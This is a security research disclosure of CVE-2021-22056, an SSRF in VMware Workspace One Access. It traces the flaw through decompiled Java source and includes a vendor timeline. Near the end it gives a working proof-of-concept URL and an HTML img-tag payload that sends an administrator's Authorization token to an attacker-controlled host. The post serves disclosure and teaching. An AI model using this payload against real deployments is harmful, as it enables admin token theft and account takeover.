Stealing administrative JWT's through post auth SSRF (CVE-2021-22056)

Jan 17, 2022

 

The advisory for this issue can be found here.

The CVE for this issue is CVE-2021-22056. The advisory from VMWare can be found here.

This security research was performed by Shubham Shah and Keiran Sampson.


Introduction

As enterprises take on the challenge of managing identity at scale, often, enterprise products such as VMWare Workspace One Access are used to facilitate this. In this blog post, we take a look at a critical piece of software used by enterprises to manage multi-factor authentication and SSO.

While the vulnerability found was post-authentication, an attack vector exists to leak an administrative JWT using the SSRF through CSRF. This increases the severity of the issue as this vulnerability can be used in spear phishing attacks against organizations that use VMWare Workspace One Access.

Additionally, in this blog post, we focus on the basic elements of source code analysis that led to the discovery of this vulnerability, in hopes of inspiring the next generation of security professionals looking to get into offensive security source code analysis.


What is VMWare Workspace One Access?

Per VMWare’s marketing materials:

Workspace ONE Access, (formerly VMware Identity Manager), provides multi-factor authentication, conditional access and single sign-on to SaaS, web and native mobile apps.


Code Analysis

VMWare Workspace One Access is a large enterprise Java application and is made up of multiple components. As usual when assessing large enterprise applications, it is critical to understand how the routing of servlets work.

In this case, VMWare Workspace One Access makes use of the Spring Framework. So while we can use the web.xml file to understand the prefix for certain paths, further analysis in the code must be done to discover the full endpoint URLs.

There are a number of applications bundled up in VMWare Workspace One Access, but for this blog post, we’re going to be focusing on the SAAS application.

Taking a look at the web.xml file inside webapps/SAAS/WEB-INF/, we can see the following mapping:

<!-- REST API servlet -->
    <servlet>
        <servlet-name>rest-api</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>

    <servlet-mapping>
        <servlet-name>rest-api</servlet-name>
        <url-pattern>/API/1.0/REST/*</url-pattern>
    </servlet-mapping>

In order to find the actual mappings for a Spring application, we suggest you look for valid controller classes and assess how the endpoints are declared.

For example, in this case, we can pick webapps/SAAS/WEB-INF/classes/com/vmware/horizon/rest/controller/AuthenticationController.java and we can see that routes are declared in the following fashion:

/*     */ @Controller
/*     */ @RequestMapping({"/auth"})

... omitted ...

/*     */   @RequestMapping(value = {"/cert"}, method = {RequestMethod.GET})
/*     */   @ResponseBody

... omitted ...

/*     */   @RateLimited(useCase = "login")
/*     */   @ConcurrencyThrottled(useCase = "login")
/*     */   @RequestMapping(value = {"/login"}, method = {RequestMethod.POST}, headers = {"Content-Type=application/x-www-form-urlencoded"})
/*     */   @AllowExecutionWhenReadOnly
/*     */   @ResponseBody

These annotations are referred to as decorators. Decorators are a common programming paradigm in many languages.

You can map these RequestMapping values by combining them with the prefixed path found in the web.xml in order to reach this functionality. Once you understand this concept, it becomes straight forward to hit the codepath you would like to hit for Spring applications.

Sometimes this can be more complex, where there is a root controller route mapping i.e. /system/ and children routes underneath, albeit, this is not too difficult to work out once you are iterating through the source code.

Now that we have a basic understanding of how the routing works for the SAAS component of this enterprise application, we have a few options.

1) We can audit each and every controller, looking for dangerous functionalities and assessing the access controls along the way.

2) We can specifically search for dangerous functions and trace them back to the originating controller.

In our opinion, either strategy is an acceptable option when auditing large applications, however we do prefer to look for dangerous functions first before deep diving into each and every controller.

Often in source code auditing, we talk about discovering sources and sinks. I’ve found that developers often don’t understand what we mean by finding sources and sinks, even though, they have probably done some sort of similar analysis in their careers without knowing the name for it.

If you don’t know what we mean by sources and sinks, we recommend this video from LiveOverflow on sources and sinks.

As usual, we searched for functionality that performs object deserialization, file operations, string concatenation, SQL queries, and HTTP clients.

It’s important to note that when searching for dangerous functionality, try and understand the pre-requisites for the dangerous functionality to exist and then search for those.

For example, for server-side request forgery to exist, there must be a HTTP client somewhere that is being used. Try and discover each and every HTTP client that gets declared and trace it back to where it is being used.

What we’re about to describe is the process of starting at a sink and working backwards to the source.

Our search for HTTP clients was fruitful, leading to the discovery of this snippet of code:

/*     */   @VisibleForTesting
/*     */   String getStatusFromRemoteHost(String url, Map<String, String> hostEntries) throws IOException, KeyManagementException, NoSuchAlgorithmException {
/* 268 */     try (CloseableHttpClient httpClient = (new SSLClientBuilder()).doNotVerifyHostnames().enableRedirectHandling().withResponseTimeout(60000).withDnsEntries(hostEntries).build()) {
/*     */       
/* 270 */       HttpGet httpGet = new HttpGet(url);
/*     */ 
/*     */       
/* 273 */       httpGet.setHeader("Accept-Language", this.request.getLocale().toString());
/*     */ 
/*     */       
/* 276 */       SuiteTokenPair suiteTokenPair = (SuiteTokenPair)this.request.getAttribute("validatedSuiteToken");
/* 277 */       httpGet.setHeader("Authorization", suiteTokenPair.getSignedToken());
/*     */     } 
/*     */   }

We can see that the function getStatusFromRemoteHost is responsible for making a HTTP request with an Authorization header containing a signed token.

Now naturally, we ask the question, how is getStatusFromRemoteHost called?

This leads to the following snippet of code:

/*     */   @RequestMapping(value = {"/instanceHealth"}, method = {RequestMethod.GET}, produces = {"application/json;charset=UTF-8"})
/*     */   @ProtectedApi(resource = "vrn:tnts:*", actions = {"tnts:read"})
/*     */   @ResponseBody
/*     */   public String getInstanceHealth(@RequestParam(value = "hostName", required = true) String hostname, @RequestParam(value = "path", required = false) String path, @RequestParam(value = "datacenterId", required = false) Integer datacenterId, @RequestParam(value = "statusOnly", required = false) boolean status, HttpServletRequest request, HttpServletResponse response) throws IOException, MyOneLoginException {
/*     */     String url;
/* 186 */     verifyAuthentication();
/*     */     
/* 188 */     boolean hostInCluster = false;
/*     */     
/* 190 */     Map<String, String> hostEntries = new HashMap<>();
/*     */     
/* 192 */     for (ClusterInstance clusterInstance : this.systemService.getClusterInstances()) {
/* 193 */       if (StringUtils.equalsIgnoreCase(clusterInstance.getHostname(), hostname) && (
/* 194 */         datacenterId == null || datacenterId.intValue() == clusterInstance.getDatacenterId())) {
/* 195 */         hostInCluster = true;
/* 196 */         if (datacenterId != null) {
/*     */ 
/*     */ 
/*     */           
/* 200 */           hostEntries.put(hostname.toLowerCase(), clusterInstance.getIPAddress()); break;
/* 201 */         }  if (clusterInstance.getDatacenterId() != this.systemService.getCurrentDatacenterId()) {
/* 202 */           log.warn("Attempting to retrieve health status for a node in a different datacenter: " + hostname);
/*     */         }
/*     */         
/*     */         break;
/*     */       } 
/*     */     } 
/*     */     
/* 209 */     if (!hostInCluster) {
/* 210 */       log.error("Health requested for unknown host: " + hostname + ((datacenterId != null) ? (" in datacenter: " + datacenterId) : ""));
/* 211 */       response.sendError(404, "Health requested for unknown host");
/* 212 */       return null;
/*     */     } 
/*     */ 
/*     */     
/* 216 */     if (path != null) {
/* 217 */       url = "https://" + hostname + path;
/* 218 */     } else if (status) {
/* 219 */       url = "https://" + hostname + ":8443/cfg/API/1.0/REST/diagnostic/status";
/*     */     } else {
/* 221 */       url = "https://" + hostname + ":8443/cfg/API/1.0/REST/diagnostic";
/*     */     } 
/*     */     
/*     */     try {
/* 225 */       return getStatusFromRemoteHost(url, hostEntries);
/* 226 */     } catch (Exception e) {
/*     */       
/* 228 */       JSONObject jsonObject = new JSONObject();
/*     */       
/* 230 */       if (StringUtils.containsIgnoreCase(e.getMessage(), "timed out")) {
/* 231 */         log.error("Unable to get health diagnostic results of host: " + hostname + "due to time out." + e.getMessage(), e);
/* 232 */         jsonObject.put("message", "408 Unable to get health diagnostic results of host: " + hostname + " due to time out. " + e.getMessage());
/*     */       } else {
/* 234 */         log.error("Unable to get health diagnostic results of " + hostname + " : " + e.getMessage(), e);
/* 235 */         jsonObject.put("message", "500 Unable to get health diagnostic results of " + hostname + " : " + e.getMessage());
/*     */       } 
/* 237 */       jsonObject.put("success", false);
/* 238 */       return jsonObject.toString();
/*     */     } 
/*     */   }

At first glance, you might think that this function is safe due to the whitelist at the beginning:

/* 188 */     boolean hostInCluster = false;
/*     */     
/* 190 */     Map<String, String> hostEntries = new HashMap<>();
/*     */     
/* 192 */     for (ClusterInstance clusterInstance : this.systemService.getClusterInstances()) {
/* 193 */       if (StringUtils.equalsIgnoreCase(clusterInstance.getHostname(), hostname) && (
/* 194 */         datacenterId == null || datacenterId.intValue() == clusterInstance.getDatacenterId())) {
/* 195 */         hostInCluster = true;
/* 196 */         if (datacenterId != null) {
/*     */ 
/*     */ 
/*     */           
/* 200 */           hostEntries.put(hostname.toLowerCase(), clusterInstance.getIPAddress()); break;
/* 201 */         }  if (clusterInstance.getDatacenterId() != this.systemService.getCurrentDatacenterId()) {
/* 202 */           log.warn("Attempting to retrieve health status for a node in a different datacenter: " + hostname);
/*     */         }
/*     */         
/*     */         break;
/*     */       } 
/*     */     } 
/*     */     
/* 209 */     if (!hostInCluster) {
/* 210 */       log.error("Health requested for unknown host: " + hostname + ((datacenterId != null) ? (" in datacenter: " + datacenterId) : ""));
/* 211 */       response.sendError(404, "Health requested for unknown host");
/* 212 */       return null;
/*     */     } 

If you’ve come to this point of this blog post and you think that this function is safe from server-side request forgery flaws, we suggest you read the code even more closely.

We hope you noticed that the function takes in three parameters:

  • hostName: validated against a whitelist
  • path: no validation performed
  • datacenterId: used for whitelist validation

The path variable is combined with the hostname variable in the following lines of code:

/* 216 */     if (path != null) {
/* 217 */       url = "https://" + hostname + path;
/* 218 */     } else if (status) {
/* 219 */       url = "https://" + hostname + ":8443/cfg/API/1.0/REST/diagnostic/status";
/*     */     } else {
/* 221 */       url = "https://" + hostname + ":8443/cfg/API/1.0/REST/diagnostic";
/*     */     } 

This is where the vulnerability lies.

An attacker can provide a path variable containing @example.com and a http request is being made to https://<hostname>@example.com, ultimately, to example.com instead of the hostname.

Since there is no forward slash after the hostname, an @ character can be injected to control the server being requested.


PoC

In order to exploit this bug, you must know the cluster hostname. This can simply be guessed, or it can be obtained from /SAAS/jersey/manager/api/system/clusterInstances?activeOnly=false.

A proof-of-concept for this vulnerability can be found below:

https://access.reverse.test/SAAS/API/1.0/REST/system/health/instanceHealth?hostName=access.reverse.test&[email protected]

Note, the hostName has to be the host name of the instance as registered on the local system. The path contains the exploit to request an arbitrary URL through the injection of the @ symbol and an arbitrary hostname.

The full HTTP response for the maliciously requested URL will be returned:

<html><body>01gijk3zzkrljqapxt1fq8zjjgz</body></html>

An attacker can use this exploitation vector to send arbitrary HTTP requests to internal network services and hosts and read the full HTTP response for these hosts.

This admin token disclosure vulnerability can be exploited by embedding an image in HTML which points to:

<img src="https://access.reverse.test/SAAS/API/1.0/REST/system/health/instanceHealth?hostName=access.reverse.test&[email protected]"/>

This will send a HTTP request to attackercontrolledhost.com containing the Authorization header / admin token.


Vendor Response

VMWare dealt with these issues seriously, and we appreciated their efforts in remediating this vulnerability and corresponding with us.

We reported this issue to VMWare on the 5th of October, 2021.

The timeline for disclosure can be found below:

  • Oct 5th, 2021: Disclosure of account takeover via post auth SSRF
  • Oct 5th, 2021: Response from VMWare confirming receipt of vulnerability
  • Nov 9th, 2021: Assetnote Security Research team requests an update on the issue
  • Nov 12th, 2021: Response from VMWare confirming that vulnerability is being worked on
  • Dec 8th, 2021: Assetnote Security Research team requests an update on the issue
  • Dec 8th, 2021: Response from VMWare confirming they could reproduce SSRF but not admin token disclosure on latest version of Workspace One Access
  • Dec 10th, 2021: Response from VMWare confirming progress is being made on fixes
  • Dec 17th, 2021: VMWare publishes advisory

Remediation Advice

The remediation details provided from VMWare’s advisory are satisfactory and will ensure that this vulnerabilty cannot be exploited. The knowledge base article detailing the patches or workaround to apply can be found here.


Conclusion

Due to the lack of a slash character, it is possible for an attacker to make HTTP requests to arbitrary origins and read the full response. Furthermore, an authorization header gets leaked and hence it is possible for an attacker to weaponize this vulnerability to steal the authorization header of an admin upon viewing an image or making a single click.

As part of the development of our Continuous Security Platform, Assetnote’s Security Research team is consistently looking for security vulnerabilities in enterprise software to help customers identify security issues across their attack surface.

Looking at this research as a whole one the of the key takeaways is that the visibility into the exposure of enterprise software is often lacking or misunderstood by organizations that deploy this software. Many organizations disproportionately focus on in-house software and network issues at the expense of awareness and visibility into the exposure in the software developed by third parties. Our experience has shown that there continues to be significant vulnerabilities in widely deployed enterprise software that is often missed.

Customers of our Attack Surface Management platform were the first to know of this vulnerability and others like it. If you are interested in gaining wholistic, real-time visibility into your attack surface please contact us.

Assetnote Is Hiring!

If you are interested in working on the leading Attack Surface Management platform that’s helping companies worldwide from the Fortune 100 to innovate startups secure millions of systems please check out our careers page for current openings. We are always on the lookout for top talent so even if there are no open roles in your field please feel free to drop us a line.